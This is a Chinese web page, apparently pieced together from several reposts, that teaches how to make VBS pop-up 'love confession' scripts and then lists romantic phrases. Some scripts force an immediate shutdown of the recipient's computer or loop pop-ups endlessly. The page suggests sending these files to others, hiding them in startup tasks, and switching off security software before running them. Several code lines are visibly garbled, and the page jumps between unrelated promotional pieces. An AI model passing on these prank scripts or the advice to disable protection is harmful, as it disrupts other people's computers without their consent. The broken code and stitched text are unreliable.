01
先来第一段弹窗代码:
msgbox"内容A"+chr(13)+"内容B"+chr(13)+"内容C",1,"标题"
将它们复制到文本中,将后缀改成“vbs”就可以双击执行了。
02
其中“msgbox”代表Windows系统的弹窗警告,内容A、内容B、内容C是大家想在弹窗上显示的文字,而“标题”就是弹窗左上角类似系统警告一类的内容。另外,在“标题”前面的数字“1”代表调用系统按钮的样式,也可以换成2、3、4,共4种按钮样式供大家选择,写好内容的代码应该就是
只有弹窗,视觉效果是有了,但缺乏震撼力!要声色齐全才能唬到人。
所以还要来点语音说教。
03
再新建个文本文档,将以下代码复制进去
把你想让电脑说出来的话输入在“内容”部分,同样保存为“vbs”后缀即可。电脑就可以直接读出你输入的内容。
04
你说这些文件没有双击运行的话,也不会产生效果。那啥,你就不会把它们隐藏以后加入开机启动项目中吗?
控制面板-管理工具-计划任务,在右侧选择“创建任务”,在上面的标签中选择“触发器”,新建触发器设置为“每天”后,将开始任务更改成“启动时”或你想让弹窗和语音出现的时候,就大功告成了。
05
这两个代码结合起来,想警告、整人,甚至装老司机给女神表白均可使用,如何灵活发挥,就看你的脑洞够不够大了!
1 在电脑上新建一个txt文件。
2 打开txt文件,复制以下代码粘贴进去(可以修改中文部分,其它代码不要动!)。保存并关闭txt文件。
msgbox("做我女朋友好吗?")
msgbox("房产证上写你名字")
msgbox("保大")
msgbox("我妈会游泳")
3 将txt文件名称后面的“txt”改为“vbs”
4 双击改名后的vbs文件即可看到和抖音视频上一样的效果。
步骤一:在电脑上新建一个txt文件。
步骤二:打开txt文件,复制以下代码粘贴进去(可以修改中文部分,其它代码不要动!)。保存并关闭txt文件。
do
msgbox"我爱你"
loop
步骤三:点文件/另存为,然后输入你想改的名字,然后把后缀名改成vbs,再在下面那个框框选择所有文件。保存到桌面。
步骤四:把所有的安全卫士关了。然后双击之前做的程序就行了。
请采纳,谢谢!
记不记得上一期给大家推荐的
抖音表白神器
如果忘记了或没收到
赶紧点击关注我们公众号
那么多福利还不关注等过年?
这么强大的表白神器
是不是很神奇很是神奇?
是不是想知道怎么做的?
既然你诚心诚意的发问了
我就大发慈悲的告诉你
不不不,搞错了!
表白代码制作教程
不传外人
以后我们就是一家人了
步骤1
在电脑桌面用鼠标右键单击新建一个txt文档。
步骤2
输入代码:
msgbox("做我女朋友好吗?")
msgbox("我有车有楼有翻狗")
步骤3
鼠标左键点击文本左上角文件,再点击另存为,
文件名改成:XXXvbs,保存类型改为:所有文件,然后点击确定。
步骤4
点击确定后,完成制作,电脑桌面上会显示一个vbs文件。
步骤5
鼠标左键双击打开vbs文件,就会像抖音里面一样的啦。
据说程序员都有病还病得不轻得了一种叫做“编程快乐”的疾病你有没有感受到“编程快乐”?
征服的成就感:每天打开电脑,调出各种软件,“手指在命令行间驰骋,思绪在浏览器上飞奔”。
没有做不到,只有想不到。
每次解决一个难题,想出一个巧妙算法,攻克一个Bug,那“一键在手,天下我有”的征服感也是没谁了,简直happy得不要不要的。
绝对比考试拿一百分欢喜十倍,还不止。
赠品:
附上抖音里面比较火的代码:
msgbox("做我女朋友好吗?")
msgbox("房产证写你名字")
msgbox("保大")
msgbox("我妈会游泳")
x=msgbox("做我女朋友好不好",VbOkCancel)
if x=VbOk then
msgbox("爱你,么么哒")
elseif x=VbCancel then
msgbox("哼,再见")
set ws=createobject("wshell")
wsrun"cmdexe /c shutdown -s -f -t 0"
end if
制作使用的方法跟刚才表白示例是一样的
以前大家总说工科生不懂浪漫,但最近DJ抖音网很流行用代码来表白,将代码编写好,然后将文档发给要表白的对象,然后就可以等着对方进入你的表白套路了。其实这是弹窗表白的代码不是很复杂,一般人按照步骤来都可以做到,下面就来看看具体的步骤:
1、KS97新建一个文本 输入代码
2、鼠标左键点击文本左上角文件,再点击另存为。
3、点击后会弹出以下窗口,文件名改成:表白示例vbs,保存类型改为:所有文件,然后点击确定。
4、点击确定后,完成制作,电脑桌面上会显示一个vbs文件。鼠标左键双击单开刚才保存vbs文件,就会像抖音里面的一样了。
抖音表白代码怎么写
方法一
msgbox("做我女朋友好吗")
msgbox("房产证写你名字")
msgbox("保大")
msgbox("我妈会游泳")
x=msgbox("做我女朋友好不好",VbOkCancel)
if x=VbOk then
msgbox("爱你,么么哒")
elseif x=VbCancel then
msgbox("哼,再见")
set ws=createobject("wscriptshell")
wsrun"cmdexe /cshutdown-s -f -t 0"
end if
使用方法:将第一段示例或者第二段示例复制到一个新建的文本文档中,保存。然后修改文本文档的后缀为vbs,如果会弹出如下面的弹窗,就表明成功了。大家可以随意修改里面的字,也可以加更多段msgbox带括号的那种。
方法二
直接在电脑上打开一个记事本
输入一下内容
asgbox(“做我女朋友好吗”)
hsgbox("房产证上写称名”)
asgbox("保大”)
hsgbox("我妈会游泳)1
文字可以任意输入
保存在桌面上
将记事本的后缀改成vbs,效果如下图,打开文本即可跳出对话框界面
简短的表白语
1、和你在一起只是我不想给任何人机会。
2、请你当我手心里的宝。
3、如果有幸福,我让它有声有色地蔓延!。
4、假如我变成黄土,黄土也爱着你;假如黄土上长满青草,青草也爱着你;假如青草上挂满露珠,露珠也爱着你。
5、好笑吗 身边没你,好怪,陪我一生一世好吗
6、这辈子没缘,下辈子一定要投胎在一起。
7、玫瑰开在九月里,我的心中只有你,好想和你在一起,没有什么送给你,只有一句我爱你!
8、我爱月,爱它纯,爱它明,爱它圆。我爱你,爱你真,爱你善,爱你美。
9、如果有幸福,我让它有声有色地蔓延! 如果有忧伤,我把它无声无息地吹散。
10、假如你是我梦中那只收桅待泊的船,我愿是那静静的湾,荡着轻柔的浪,舒展着迷人的滩。
11、他的幸福里没有我的位置我的幸福里只有他。
12、我想要一个拥抱,但是你的拥抱或许永远也不属于我。
13、如果有幸福,我让它有声有色地蔓延!
14、不知道爱你算不算是一个贴心的理由
15、做不了你的影子,就让我做一阵风萦绕在你的身边。
16、梦见你忘却疲惫,想你想得无法入睡,别说你还无所谓,收下我的红玫瑰,你不爱我是你不对!
17、我们太善良连自己都骗不过我爱你说未来很长一切难讲。
18、如果有忧伤,我把它无声无息地吹散。
19、宝贝吾爱,我的心与你同在;你的心跳连着我的血脉,你的步伐是我生命的节拍;即使所有的都化作尘埃,我也永不言败 。
20、不知道爱你算不算是一个贴心的理由
21、我想要和你一起慢慢变老。
欢迎分享,转载请注明来源:表白网
评论列表(0条)